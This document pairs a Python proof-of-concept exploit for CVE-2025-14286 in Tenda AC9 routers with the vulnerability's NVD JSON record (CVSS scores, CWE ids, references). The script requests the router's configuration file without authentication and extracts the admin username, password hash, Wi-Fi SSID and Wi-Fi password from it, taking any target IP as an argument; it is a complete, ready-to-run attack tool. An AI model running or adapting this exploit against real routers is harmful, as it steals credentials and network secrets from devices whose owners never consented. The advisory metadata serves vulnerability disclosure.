CVE-2025-14286

#!/usr/bin/env python3 """ CVE-2025-14286 PoC - Tenda AC9 Configuration File Download This PoC demonstrates the information disclosure vulnerability in Tenda AC9 routers. The /cgi-bin/DownloadCfg.jpg endpoint allows unauthenticated configuration download. """ import requests import sys import re def extract_config_info(config_text): """Extract sensitive information from configuration file""" patterns = { 'LAN IP': r'lan_ipaddr=([^&\s]+)', 'WAN IP': r'wan_ipaddr=([^&\s]+)', 'Admin User': r'admin_username=([^&\s]+)', 'Admin Password Hash': r'admin_password=([^&\s]+)', 'Wireless SSID': r'wireless_ssid=([^&\s]+)', 'Wireless Password': r'wireless_password=([^&\s]+)', 'MAC Address': r'macaddr=([^&\s]+)' } extracted = {} for key, pattern in patterns.items(): match = re.search(pattern, config_text) if match: extracted[key] = match.group(1) return extracted def exploit(target_ip): """Exploit the vulnerability""" target_url = f"http://{target_ip}/cgi-bin/DownloadCfg.jpg" print(f"[*] Target: {target_ip}") print(f"[*] Exploiting CVE-2025-14286...") print(f"[*] Requesting: {target_url}") try: # Send unauthenticated request to download configuration response = requests.get(target_url, timeout=10) if response.status_code == 200: print(f"[+] Successfully downloaded configuration file!") print(f"[+] File size: {len(response.content)} bytes") # Save raw configuration with open(f'config_{target_ip.replace(".", "_")}.bin', 'wb') as f: f.write(response.content) print(f"[+] Configuration saved to config file") # Try to decode and extract information try: config_text = response.content.decode('utf-8', errors='ignore') extracted_info = extract_config_info(config_text) if extracted_info: print("\n[+] Extracted Sensitive Information:") for key, value in extracted_info.items(): print(f" {key}: {value}") else: print("[*] Could not parse configuration format") print("[*] First 500 bytes of response:") print(response.content[:500]) except Exception as e: print(f"[-] Error parsing configuration: {e}") return True else: print(f"[-] Failed to download configuration. Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") print(f"Example: {sys.argv[0]} 192.168.0.1") sys.exit(1) target = sys.argv[1] exploit(target)

{"cve": {"id": "CVE-2025-14286", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:17:38.197", "lastModified": "2025-12-11T17:15:12.343", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in Tenda AC9 15.03.05.14_multi. Affected by this vulnerability is an unknown functionality of the file /cgi-bin/DownloadCfg.jpg of the component Configuration File Handler. This manipulation causes information disclosure. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "baseScore": 5.0, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 10.0, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-284"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac9_firmware:15.03.05.14_multi:*:*:*:*:*:*:*", "matchCriteriaId": "D1A7C986-BA06-44DB-A271-91B88853CA43"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:tenda:ac9_firmware:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "D183C477-B4F8-4625-B17B-AE8A29AF99B2"}]}]}], "references": [{"url": "https://github.com/Madgeaaaaa/MY_VULN_2/blob/main/Tenda/VULN11.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://vuldb.com/?ctiid.334874", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.334874", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.702723", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://www.tenda.com.cn/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/Madgeaaaaa/ ... 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